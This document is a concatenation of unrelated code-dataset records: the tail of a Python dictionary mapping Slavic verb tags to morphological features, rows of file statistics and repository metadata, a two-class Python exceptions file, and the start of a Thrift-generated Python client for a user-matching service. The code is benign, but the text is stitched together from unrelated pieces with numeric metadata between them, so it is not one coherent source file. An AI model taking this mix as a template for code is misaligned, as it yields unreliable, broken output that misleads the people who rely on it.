"VKdpa-": {POS: VERB, "morph": "Aspect=Perf|Mood=Ind|Number=Plur|Person=1|Polarity=Neg|Tense=Pres|VerbForm=Fin"},
"VKdpa+": {POS: VERB, "morph": "Aspect=Perf|Mood=Ind|Number=Plur|Person=1|Polarity=Pos|Tense=Pres|VerbForm=Fin"},
"VKdpb-": {POS: VERB, "morph": "Aspect=Perf|Mood=Ind|Number=Plur|Person=2|Polarity=Neg|Tense=Pres|VerbForm=Fin"},
"VKdpb+": {POS: VERB, "morph": "Aspect=Perf|Mood=Ind|Number=Plur|Person=2|Polarity=Pos|Tense=Pres|VerbForm=Fin"},
"VKdpc-": {POS: VERB, "morph": "Aspect=Perf|Mood=Ind|Number=Plur|Person=3|Polarity=Neg|Tense=Pres|VerbForm=Fin"},
"VKdpc+": {POS: VERB, "morph": "Aspect=Perf|Mood=Ind|Number=Plur|Person=3|Polarity=Pos|Tense=Pres|VerbForm=Fin"},
"VKdsa-": {POS: VERB, "morph": "Aspect=Perf|Mood=Ind|Number=Sing|Person=1|Polarity=Neg|Tense=Pres|VerbForm=Fin"},
"VKdsa+": {POS: VERB, "morph": "Aspect=Perf|Mood=Ind|Number=Sing|Person=1|Polarity=Pos|Tense=Pres|VerbForm=Fin"},
"VKdsb-": {POS: VERB, "morph": "Aspect=Perf|Mood=Ind|Number=Sing|Person=2|Polarity=Neg|Tense=Pres|VerbForm=Fin"},
"VKdsb+": {POS: VERB, "morph": "Aspect=Perf|Mood=Ind|Number=Sing|Person=2|Polarity=Pos|Tense=Pres|VerbForm=Fin"},
"VKdsc-": {POS: VERB, "morph": "Aspect=Perf|Mood=Ind|Number=Sing|Person=3|Polarity=Neg|Tense=Pres|VerbForm=Fin"},
"VKdsc+": {POS: VERB, "morph": "Aspect=Perf|Mood=Ind|Number=Sing|Person=3|Polarity=Pos|Tense=Pres|VerbForm=Fin"},
"VKe-": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Polarity=Neg|Tense=Pres|VerbForm=Fin"},
"VKepa-": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Plur|Person=1|Polarity=Neg|Tense=Pres|VerbForm=Fin"},
"VKepa+": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Plur|Person=1|Polarity=Pos|Tense=Pres|VerbForm=Fin"},
"VKepb-": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Plur|Person=2|Polarity=Neg|Tense=Pres|VerbForm=Fin"},
"VKepb+": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Plur|Person=2|Polarity=Pos|Tense=Pres|VerbForm=Fin"},
"VKepc-": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Plur|Person=3|Polarity=Neg|Tense=Pres|VerbForm=Fin"},
"VKepc+": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Plur|Person=3|Polarity=Pos|Tense=Pres|VerbForm=Fin"},
"VKesa-": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Sing|Person=1|Polarity=Neg|Tense=Pres|VerbForm=Fin"},
"VKesa+": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Sing|Person=1|Polarity=Pos|Tense=Pres|VerbForm=Fin"},
"VKesb-": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Sing|Person=2|Polarity=Neg|Tense=Pres|VerbForm=Fin"},
"VKesb+": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Sing|Person=2|Polarity=Pos|Tense=Pres|VerbForm=Fin"},
"VKesc-": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Sing|Person=3|Polarity=Neg|Tense=Pres|VerbForm=Fin"},
"VKesc+": {POS: VERB, "morph": "Aspect=Imp|Mood=Ind|Number=Sing|Person=3|Polarity=Pos|Tense=Pres|VerbForm=Fin"},
"VKjpa-": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Plur|Person=1|Polarity=Neg|Tense=Pres|VerbForm=Fin"},
"VKjpa+": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Plur|Person=1|Polarity=Pos|Tense=Pres|VerbForm=Fin"},
"VKjpb-": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Plur|Person=2|Polarity=Neg|Tense=Pres|VerbForm=Fin"},
"VKjpb+": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Plur|Person=2|Polarity=Pos|Tense=Pres|VerbForm=Fin"},
"VKjpc-": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Plur|Person=3|Polarity=Neg|Tense=Pres|VerbForm=Fin"},
"VKjpc+": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Plur|Person=3|Polarity=Pos|Tense=Pres|VerbForm=Fin"},
"VKjsa-": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Sing|Person=1|Polarity=Neg|Tense=Pres|VerbForm=Fin"},
"VKjsa+": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Sing|Person=1|Polarity=Pos|Tense=Pres|VerbForm=Fin"},
"VKjsb-": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Sing|Person=2|Polarity=Neg|Tense=Pres|VerbForm=Fin"},
"VKjsb+": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Sing|Person=2|Polarity=Pos|Tense=Pres|VerbForm=Fin"},
"VKjsc-": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Sing|Person=3|Polarity=Neg|Tense=Pres|VerbForm=Fin"},
"VKjsc+": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Ind|Number=Sing|Person=3|Polarity=Pos|Tense=Pres|VerbForm=Fin"},
"VLdpah-": {POS: VERB, "morph": "Aspect=Perf|Number=Plur|Person=1|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLdpah+": {POS: VERB, "morph": "Aspect=Perf|Number=Plur|Person=1|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLdpbh-": {POS: VERB, "morph": "Aspect=Perf|Number=Plur|Person=2|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLdpbh+": {POS: VERB, "morph": "Aspect=Perf|Number=Plur|Person=2|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLdpcf-": {POS: VERB, "morph": "Aspect=Perf|Gender=Fem|Number=Plur|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLdpcf+": {POS: VERB, "morph": "Aspect=Perf|Gender=Fem|Number=Plur|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLdpci-": {POS: VERB, "morph": "Animacy=Inan|Aspect=Perf|Gender=Masc|Number=Plur|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLdpci+": {POS: VERB, "morph": "Animacy=Inan|Aspect=Perf|Gender=Masc|Number=Plur|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLdpcm-": {POS: VERB, "morph": "Animacy=Anim|Aspect=Perf|Gender=Masc|Number=Plur|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLdpcm+": {POS: VERB, "morph": "Animacy=Anim|Aspect=Perf|Gender=Masc|Number=Plur|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLdpcn-": {POS: VERB, "morph": "Aspect=Perf|Gender=Neut|Number=Plur|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLdpcn+": {POS: VERB, "morph": "Aspect=Perf|Gender=Neut|Number=Plur|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLdsaf-": {POS: VERB, "morph": "Aspect=Perf|Gender=Fem|Number=Sing|Person=1|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLdsaf+": {POS: VERB, "morph": "Aspect=Perf|Gender=Fem|Number=Sing|Person=1|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLdsai-": {POS: VERB, "morph": "Animacy=Inan|Aspect=Perf|Gender=Masc|Number=Sing|Person=1|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLdsai+": {POS: VERB, "morph": "Animacy=Inan|Aspect=Perf|Gender=Masc|Number=Sing|Person=1|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLdsam-": {POS: VERB, "morph": "Animacy=Anim|Aspect=Perf|Gender=Masc|Number=Sing|Person=1|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLdsam+": {POS: VERB, "morph": "Animacy=Anim|Aspect=Perf|Gender=Masc|Number=Sing|Person=1|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLdsan-": {POS: VERB, "morph": "Aspect=Perf|Gender=Neut|Number=Sing|Person=1|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLdsan+": {POS: VERB, "morph": "Aspect=Perf|Gender=Neut|Number=Sing|Person=1|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLdsbf-": {POS: VERB, "morph": "Aspect=Perf|Gender=Fem|Number=Sing|Person=2|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLdsbf+": {POS: VERB, "morph": "Aspect=Perf|Gender=Fem|Number=Sing|Person=2|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLdsbi-": {POS: VERB, "morph": "Animacy=Inan|Aspect=Perf|Gender=Masc|Number=Sing|Person=2|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLdsbi+": {POS: VERB, "morph": "Animacy=Inan|Aspect=Perf|Gender=Masc|Number=Sing|Person=2|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLdsbm-": {POS: VERB, "morph": "Animacy=Anim|Aspect=Perf|Gender=Masc|Number=Sing|Person=2|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLdsbm+": {POS: VERB, "morph": "Animacy=Anim|Aspect=Perf|Gender=Masc|Number=Sing|Person=2|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLdsbn-": {POS: VERB, "morph": "Aspect=Perf|Gender=Neut|Number=Sing|Person=2|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLdsbn+": {POS: VERB, "morph": "Aspect=Perf|Gender=Neut|Number=Sing|Person=2|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLdscf-": {POS: VERB, "morph": "Aspect=Perf|Gender=Fem|Number=Sing|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLdscf+": {POS: VERB, "morph": "Aspect=Perf|Gender=Fem|Number=Sing|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLdsci-": {POS: VERB, "morph": "Animacy=Inan|Aspect=Perf|Gender=Masc|Number=Sing|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLdsci+": {POS: VERB, "morph": "Animacy=Inan|Aspect=Perf|Gender=Masc|Number=Sing|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLdscm-": {POS: VERB, "morph": "Animacy=Anim|Aspect=Perf|Gender=Masc|Number=Sing|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLdscm+": {POS: VERB, "morph": "Animacy=Anim|Aspect=Perf|Gender=Masc|Number=Sing|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLdscn-": {POS: VERB, "morph": "Aspect=Perf|Gender=Neut|Number=Sing|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLdscn+": {POS: VERB, "morph": "Aspect=Perf|Gender=Neut|Number=Sing|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLepah-": {POS: VERB, "morph": "Aspect=Imp|Number=Plur|Person=1|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLepah+": {POS: VERB, "morph": "Aspect=Imp|Number=Plur|Person=1|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLepbh-": {POS: VERB, "morph": "Aspect=Imp|Number=Plur|Person=2|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLepbh+": {POS: VERB, "morph": "Aspect=Imp|Number=Plur|Person=2|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLepcf-": {POS: VERB, "morph": "Aspect=Imp|Gender=Fem|Number=Plur|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLepcf+": {POS: VERB, "morph": "Aspect=Imp|Gender=Fem|Number=Plur|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLepci-": {POS: VERB, "morph": "Animacy=Inan|Aspect=Imp|Gender=Masc|Number=Plur|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLepci+": {POS: VERB, "morph": "Animacy=Inan|Aspect=Imp|Gender=Masc|Number=Plur|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLepcm-": {POS: VERB, "morph": "Animacy=Anim|Aspect=Imp|Gender=Masc|Number=Plur|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLepcm+": {POS: VERB, "morph": "Animacy=Anim|Aspect=Imp|Gender=Masc|Number=Plur|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLepcn-": {POS: VERB, "morph": "Aspect=Imp|Gender=Neut|Number=Plur|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLepcn+": {POS: VERB, "morph": "Aspect=Imp|Gender=Neut|Number=Plur|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLesaf-": {POS: VERB, "morph": "Aspect=Imp|Gender=Fem|Number=Sing|Person=1|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLesaf+": {POS: VERB, "morph": "Aspect=Imp|Gender=Fem|Number=Sing|Person=1|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLesai-": {POS: VERB, "morph": "Animacy=Inan|Aspect=Imp|Gender=Masc|Number=Sing|Person=1|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLesai+": {POS: VERB, "morph": "Animacy=Inan|Aspect=Imp|Gender=Masc|Number=Sing|Person=1|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLesam-": {POS: VERB, "morph": "Animacy=Anim|Aspect=Imp|Gender=Masc|Number=Sing|Person=1|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLesam+": {POS: VERB, "morph": "Animacy=Anim|Aspect=Imp|Gender=Masc|Number=Sing|Person=1|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLesan-": {POS: VERB, "morph": "Aspect=Imp|Gender=Neut|Number=Sing|Person=1|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLesan+": {POS: VERB, "morph": "Aspect=Imp|Gender=Neut|Number=Sing|Person=1|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLesbf-": {POS: VERB, "morph": "Aspect=Imp|Gender=Fem|Number=Sing|Person=2|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLesbf+": {POS: VERB, "morph": "Aspect=Imp|Gender=Fem|Number=Sing|Person=2|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLesbi-": {POS: VERB, "morph": "Animacy=Inan|Aspect=Imp|Gender=Masc|Number=Sing|Person=2|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLesbi+": {POS: VERB, "morph": "Animacy=Inan|Aspect=Imp|Gender=Masc|Number=Sing|Person=2|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLesbm-": {POS: VERB, "morph": "Animacy=Anim|Aspect=Imp|Gender=Masc|Number=Sing|Person=2|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLesbm+": {POS: VERB, "morph": "Animacy=Anim|Aspect=Imp|Gender=Masc|Number=Sing|Person=2|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLesbn-": {POS: VERB, "morph": "Aspect=Imp|Gender=Neut|Number=Sing|Person=2|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLesbn+": {POS: VERB, "morph": "Aspect=Imp|Gender=Neut|Number=Sing|Person=2|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLescf-": {POS: VERB, "morph": "Aspect=Imp|Gender=Fem|Number=Sing|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLescf+": {POS: VERB, "morph": "Aspect=Imp|Gender=Fem|Number=Sing|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLesci-": {POS: VERB, "morph": "Animacy=Inan|Aspect=Imp|Gender=Masc|Number=Sing|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLesci+": {POS: VERB, "morph": "Animacy=Inan|Aspect=Imp|Gender=Masc|Number=Sing|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLescm-": {POS: VERB, "morph": "Animacy=Anim|Aspect=Imp|Gender=Masc|Number=Sing|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLescm+": {POS: VERB, "morph": "Animacy=Anim|Aspect=Imp|Gender=Masc|Number=Sing|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLescn-": {POS: VERB, "morph": "Aspect=Imp|Gender=Neut|Number=Sing|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLescn+": {POS: VERB, "morph": "Aspect=Imp|Gender=Neut|Number=Sing|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLjpah-": {POS: VERB, "morph": "Aspect=Imp,Perf|Number=Plur|Person=1|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLjpah+": {POS: VERB, "morph": "Aspect=Imp,Perf|Number=Plur|Person=1|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLjpbh-": {POS: VERB, "morph": "Aspect=Imp,Perf|Number=Plur|Person=2|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLjpbh+": {POS: VERB, "morph": "Aspect=Imp,Perf|Number=Plur|Person=2|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLjpcf-": {POS: VERB, "morph": "Aspect=Imp,Perf|Gender=Fem|Number=Plur|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLjpcf+": {POS: VERB, "morph": "Aspect=Imp,Perf|Gender=Fem|Number=Plur|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLjpci-": {POS: VERB, "morph": "Animacy=Inan|Aspect=Imp,Perf|Gender=Masc|Number=Plur|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLjpci+": {POS: VERB, "morph": "Animacy=Inan|Aspect=Imp,Perf|Gender=Masc|Number=Plur|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLjpcm-": {POS: VERB, "morph": "Animacy=Anim|Aspect=Imp,Perf|Gender=Masc|Number=Plur|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLjpcm+": {POS: VERB, "morph": "Animacy=Anim|Aspect=Imp,Perf|Gender=Masc|Number=Plur|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLjpcn-": {POS: VERB, "morph": "Aspect=Imp,Perf|Gender=Neut|Number=Plur|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLjpcn+": {POS: VERB, "morph": "Aspect=Imp,Perf|Gender=Neut|Number=Plur|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLjsaf-": {POS: VERB, "morph": "Aspect=Imp,Perf|Gender=Fem|Number=Sing|Person=1|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLjsaf+": {POS: VERB, "morph": "Aspect=Imp,Perf|Gender=Fem|Number=Sing|Person=1|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLjsai-": {POS: VERB, "morph": "Animacy=Inan|Aspect=Imp,Perf|Gender=Masc|Number=Sing|Person=1|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLjsai+": {POS: VERB, "morph": "Animacy=Inan|Aspect=Imp,Perf|Gender=Masc|Number=Sing|Person=1|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLjsam-": {POS: VERB, "morph": "Animacy=Anim|Aspect=Imp,Perf|Gender=Masc|Number=Sing|Person=1|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLjsam+": {POS: VERB, "morph": "Animacy=Anim|Aspect=Imp,Perf|Gender=Masc|Number=Sing|Person=1|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLjsan-": {POS: VERB, "morph": "Aspect=Imp,Perf|Gender=Neut|Number=Sing|Person=1|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLjsan+": {POS: VERB, "morph": "Aspect=Imp,Perf|Gender=Neut|Number=Sing|Person=1|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLjsbf-": {POS: VERB, "morph": "Aspect=Imp,Perf|Gender=Fem|Number=Sing|Person=2|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLjsbf+": {POS: VERB, "morph": "Aspect=Imp,Perf|Gender=Fem|Number=Sing|Person=2|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLjsbi-": {POS: VERB, "morph": "Animacy=Inan|Aspect=Imp,Perf|Gender=Masc|Number=Sing|Person=2|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLjsbi+": {POS: VERB, "morph": "Animacy=Inan|Aspect=Imp,Perf|Gender=Masc|Number=Sing|Person=2|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLjsbm-": {POS: VERB, "morph": "Animacy=Anim|Aspect=Imp,Perf|Gender=Masc|Number=Sing|Person=2|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLjsbm+": {POS: VERB, "morph": "Animacy=Anim|Aspect=Imp,Perf|Gender=Masc|Number=Sing|Person=2|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLjsbn-": {POS: VERB, "morph": "Aspect=Imp,Perf|Gender=Neut|Number=Sing|Person=2|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLjsbn+": {POS: VERB, "morph": "Aspect=Imp,Perf|Gender=Neut|Number=Sing|Person=2|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLjscf-": {POS: VERB, "morph": "Aspect=Imp,Perf|Gender=Fem|Number=Sing|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLjscf+": {POS: VERB, "morph": "Aspect=Imp,Perf|Gender=Fem|Number=Sing|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLjsci-": {POS: VERB, "morph": "Animacy=Inan|Aspect=Imp,Perf|Gender=Masc|Number=Sing|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLjsci+": {POS: VERB, "morph": "Animacy=Inan|Aspect=Imp,Perf|Gender=Masc|Number=Sing|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLjscm-": {POS: VERB, "morph": "Animacy=Anim|Aspect=Imp,Perf|Gender=Masc|Number=Sing|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLjscm+": {POS: VERB, "morph": "Animacy=Anim|Aspect=Imp,Perf|Gender=Masc|Number=Sing|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VLjscn-": {POS: VERB, "morph": "Aspect=Imp,Perf|Gender=Neut|Number=Sing|Person=3|Polarity=Neg|Tense=Past|VerbForm=Part"},
"VLjscn+": {POS: VERB, "morph": "Aspect=Imp,Perf|Gender=Neut|Number=Sing|Person=3|Polarity=Pos|Tense=Past|VerbForm=Part"},
"VMdpa-": {POS: VERB, "morph": "Aspect=Perf|Mood=Imp|Number=Plur|Person=1|Polarity=Neg|VerbForm=Fin"},
"VMdpa+": {POS: VERB, "morph": "Aspect=Perf|Mood=Imp|Number=Plur|Person=1|Polarity=Pos|VerbForm=Fin"},
"VMdpb-": {POS: VERB, "morph": "Aspect=Perf|Mood=Imp|Number=Plur|Person=2|Polarity=Neg|VerbForm=Fin"},
"VMdpb+": {POS: VERB, "morph": "Aspect=Perf|Mood=Imp|Number=Plur|Person=2|Polarity=Pos|VerbForm=Fin"},
"VMdsb-": {POS: VERB, "morph": "Aspect=Perf|Mood=Imp|Number=Sing|Person=2|Polarity=Neg|VerbForm=Fin"},
"VMdsb+": {POS: VERB, "morph": "Aspect=Perf|Mood=Imp|Number=Sing|Person=2|Polarity=Pos|VerbForm=Fin"},
"VMepa-": {POS: VERB, "morph": "Aspect=Imp|Mood=Imp|Number=Plur|Person=1|Polarity=Neg|VerbForm=Fin"},
"VMepa+": {POS: VERB, "morph": "Aspect=Imp|Mood=Imp|Number=Plur|Person=1|Polarity=Pos|VerbForm=Fin"},
"VMepb-": {POS: VERB, "morph": "Aspect=Imp|Mood=Imp|Number=Plur|Person=2|Polarity=Neg|VerbForm=Fin"},
"VMepb+": {POS: VERB, "morph": "Aspect=Imp|Mood=Imp|Number=Plur|Person=2|Polarity=Pos|VerbForm=Fin"},
"VMesb-": {POS: VERB, "morph": "Aspect=Imp|Mood=Imp|Number=Sing|Person=2|Polarity=Neg|VerbForm=Fin"},
"VMesb+": {POS: VERB, "morph": "Aspect=Imp|Mood=Imp|Number=Sing|Person=2|Polarity=Pos|VerbForm=Fin"},
"VMjpa-": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Imp|Number=Plur|Person=1|Polarity=Neg|VerbForm=Fin"},
"VMjpa+": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Imp|Number=Plur|Person=1|Polarity=Pos|VerbForm=Fin"},
"VMjpb-": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Imp|Number=Plur|Person=2|Polarity=Neg|VerbForm=Fin"},
"VMjpb+": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Imp|Number=Plur|Person=2|Polarity=Pos|VerbForm=Fin"},
"VMjsb-": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Imp|Number=Sing|Person=2|Polarity=Neg|VerbForm=Fin"},
"VMjsb+": {POS: VERB, "morph": "Aspect=Imp,Perf|Mood=Imp|Number=Sing|Person=2|Polarity=Pos|VerbForm=Fin"},
"W": {POS: X, "morph": "Abbr=Yes"},
"Y": {POS: AUX, "morph": "Mood=Cnd"},
}
| 103.277248 | 140 | 0.679515 | 22,123 | 151,611 | 4.656376 | 0.065769 | 0.068923 | 0.062322 | 0.059216 | 0.92832 | 0.928184 | 0.920544 | 0.920156 | 0.888072 | 0.869745 | 0 | 0.010445 | 0.096385 | 151,611 | 1,467 | 141 | 103.347648 | 0.741485 | 0.000646 | 0 | 0 | 0 | 0.519836 | 0.713628 | 0.610644 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.114911 | 0.002052 | 0 | 0.002052 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 11 |
0168bd6e14a55b6c7295c20e5eb86a729143f4c4 | 181 | py | Python | pybatis/Error.py | yukityan/pybatis | d186f43d6154ac809be1c468b63eed498077b7de | [
"Apache-2.0"
] | null | null | null | pybatis/Error.py | yukityan/pybatis | d186f43d6154ac809be1c468b63eed498077b7de | [
"Apache-2.0"
] | null | null | null | pybatis/Error.py | yukityan/pybatis | d186f43d6154ac809be1c468b63eed498077b7de | [
"Apache-2.0"
] | null | null | null | class GetValueError(Exception):
"""raise when can't get value from context"""
class ParseTestStringError(Exception):
"""raise when can't parse test unit set in if node"""
| 25.857143 | 57 | 0.718232 | 25 | 181 | 5.2 | 0.76 | 0.215385 | 0.276923 | 0.323077 | 0.338462 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.171271 | 181 | 6 | 58 | 30.166667 | 0.866667 | 0.480663 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 7 |
6d757d3bbf3f39aa879e38a549494e0851367ec7 | 14,947 | py | Python | game/src/match_client/match/Match.py | Joker0x00/thrift_study | 53bcd4728cb08e0fbce57a4d89d3d570a4dc4c2c | [
"MIT"
] | null | null | null | game/src/match_client/match/Match.py | Joker0x00/thrift_study | 53bcd4728cb08e0fbce57a4d89d3d570a4dc4c2c | [
"MIT"
] | null | null | null | game/src/match_client/match/Match.py | Joker0x00/thrift_study | 53bcd4728cb08e0fbce57a4d89d3d570a4dc4c2c | [
"MIT"
] | null | null | null | #
# Autogenerated by Thrift Compiler (0.16.0)
#
# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING
#
# options string: py
#
from thrift.Thrift import TType, TMessageType, TFrozenDict, TException, TApplicationException
from thrift.protocol.TProtocol import TProtocolException
from thrift.TRecursive import fix_spec
import sys
import logging
from .ttypes import *
from thrift.Thrift import TProcessor
from thrift.transport import TTransport
all_structs = []
class Iface(object):
def add_user(self, user, info):
"""
Parameters:
- user
- info
"""
pass
def remove_user(self, user, info):
"""
Parameters:
- user
- info
"""
pass
class Client(Iface):
def __init__(self, iprot, oprot=None):
self._iprot = self._oprot = iprot
if oprot is not None:
self._oprot = oprot
self._seqid = 0
def add_user(self, user, info):
"""
Parameters:
- user
- info
"""
self.send_add_user(user, info)
return self.recv_add_user()
def send_add_user(self, user, info):
self._oprot.writeMessageBegin('add_user', TMessageType.CALL, self._seqid)
args = add_user_args()
args.user = user
args.info = info
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
